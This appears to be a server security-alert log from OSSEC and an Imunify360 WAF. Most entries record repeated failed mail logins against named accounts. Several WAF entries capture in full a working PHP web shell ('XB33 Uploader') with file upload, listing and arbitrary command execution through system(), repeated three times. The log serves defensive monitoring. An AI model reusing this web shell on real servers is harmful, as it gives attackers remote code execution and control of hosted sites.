name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-12 12:58:02 dovecot_login authenticator failed for H=(169.47.246.220.static.netvigator.com) [188.122.39.33]:37034: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-12 13:00:48 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([192.111.129.146]) [64.207.225.55]:39056: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.38
country_id: 1835841
description:
2026-07-12 13:01:18 dovecot_login authenticator failed for H=([187.93.202.22]) [61.72.145.38]:58793: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.34.106
country_id: 226074
description:
2026-07-12 13:03:51 dovecot_login authenticator failed for H=(net-2-33-204-219.cust.dsl.teletu.it) [196.0.34.106]:51262: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.107.161
country_id: 294640
description:
2026-07-12 13:03:36 dovecot_login authenticator failed for H=([142.54.235.12]) [46.210.107.161]:48157: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.184.80
country_id: 99237
description:
2026-07-12 13:08:04 dovecot_plain authenticator failed for H=(ovulne) [65.20.184.80]:55307: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.152.58.233
country_id: 6252001
description:
2026-07-12 13:09:39 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [104.152.58.233]:45881: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-12 13:09:59 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [74.209.100.246]:60746: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-12 13:10:25 dovecot_login authenticator failed for H=([14.46.30.239]) [222.104.76.94]:60836: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-12 13:10:46 dovecot_login authenticator failed for H=(static.ill.117.250.107.180.bsnl.co.in) [124.83.9.140]:45356: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-12 13:11:01 dovecot_login authenticator failed for H=([221.193.232.168]) [121.202.135.172]:57707: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.121.168.112
country_id: 294640
description:
2026-07-12 13:12:04 dovecot_login authenticator failed for H=([210.177.143.61]) [46.121.168.112]:51850: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.104.168
country_id: 1835841
description:
2026-07-12 13:12:21 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [59.8.104.168]:55026: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-12 13:14:25 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([203.123.219.137]) [217.211.208.125]:34848: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-12 13:20:02 dovecot_login authenticator failed for H=([49.124.149.20]) [181.129.31.42]:58665: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://uk.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 78.138.14.34
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://ogdchile.cl/\">judi</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-12 13:27:48 dovecot_login authenticator failed for H=([192.111.130.1]) [125.130.102.172]:41509: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-12 13:27:23 dovecot_login authenticator failed for H=([74.195.53.129]) [210.118.224.138]:55090: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-12 13:28:29 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([49.124.149.55]) [76.133.97.153]:36131: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-12 13:32:44 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [70.88.108.12]:45789: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.96.146
country_id: 1835841
description:
2026-07-12 13:33:51 dovecot_login authenticator failed for H=([223.243.24.178]) [211.252.96.146]:38984: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-12 13:34:04 dovecot_login authenticator failed for H=([67.201.59.67]) [218.248.19.102]:32800: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 108.181.46.194
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:105218||Sizes:7186||Combined size:7186||User:keralapeople||WPU:||Filename:index.php||Scanned:/tmp//20260712-133903-alNLnyLFjfmPp9pXIJwP9gAAAAQ-file-5Exyd8||SC:/home/keralapeople/public_html/admin.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.70.15.87
country_id: 285570
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/partners/GR-43.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-12 13:40:50 dovecot_login authenticator failed for H=([182.74.216.125]) [121.202.206.119]:54802: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-12 13:41:27 dovecot_login authenticator failed for H=([104.37.132.51]) [49.206.194.29]:38022: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-12 13:41:42 dovecot_login authenticator failed for H=([222.126.106.8]) [193.46.192.20]:34878: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 168.228.45.180
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.handelsblatt.com/adv/firmen/lebensmittelmotten-bekaempfen-erfahrungen.html\">Legona</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.145.98.222
country_id: 1694008
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-12 13:46:42 dovecot_login authenticator failed for H=(72-24-210-58.cpe.sparklight.net) [207.254.22.207]:55014: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.25.159.170
country_id: 2661886
description:
2026-07-12 13:48:44 dovecot_login authenticator failed for H=81-25-159-170.junet.se ([196.188.187.85]) [81.25.159.170]:47572: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.221.239
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/kallanigroup/public_html/||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.221.239
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:data[content]||RSV:8.28||T:APACHE||SC:/home/kallanigroup/public_html/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-12 13:50:04 dovecot_login authenticator failed for H=([72.223.188.94]) [74.195.53.129]:59344: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77065534
abuser: 112.215.221.239
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:content||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-12 13:50:58 dovecot_login authenticator failed for H=([121.131.220.137]) [103.130.207.227]:47900: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.221.108
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/kallanigroup/public_html/index.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.221.108
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:content||RSV:8.28||T:APACHE||SC:/home/kallanigroup/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-12 13:53:08 dovecot_login authenticator failed for H=([185.15.82.135]) [101.13.5.34]:50088: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-12 13:53:33 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [220.72.138.160]:62129: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.124
country_id: 1668284
description:
2026-07-12 13:54:21 dovecot_login authenticator failed for H=111-70-38-124.emome-ip.hinet.net ([211.37.24.146]) [111.70.38.124]:51351: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-12 13:58:13 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([174.75.211.211]) [80.223.163.253]:52506: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-12 13:59:38 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([128.185.247.254]) [68.7.114.69]:43521: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-12 13:59:26 dovecot_login authenticator failed for H=([15.218.135.58]) [182.95.123.50]:53882: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-12 14:05:19 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net (wsip-184-178-172-20.rn.hr.cox.net) [110.25.112.132]:50937: 535 Incorrect authentication data


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.27.145
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:184.174.27.145||TA:184.174.27.145||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-12 14:11:50 dovecot_login authenticator failed for H=(90-230-212-29-no2550.tbcn.telia.com) [50.121.186.125]:51847: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-12 14:12:24 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se ([210.177.143.61]) [89.253.90.113]:43470: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-12 14:13:44 dovecot_login authenticator failed for H=(164-53-26-103.intechonline.net) [211.105.229.237]:37626: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-12 14:13:31 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([180.137.151.93]) [174.168.146.152]:38500: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-12 14:16:24 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([184.181.178.35]) [68.7.114.69]:34453: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-12 14:16:53 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [122.185.101.50]:47254: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-12 14:17:20 dovecot_login authenticator failed for H=(210.4.68-72.bdcom.com) [128.185.235.110]:44342: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.240.75
country_id: 1835841
description:
2026-07-12 14:20:23 dovecot_login authenticator failed for H=([188.32.104.175]) [14.48.240.75]:58563: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
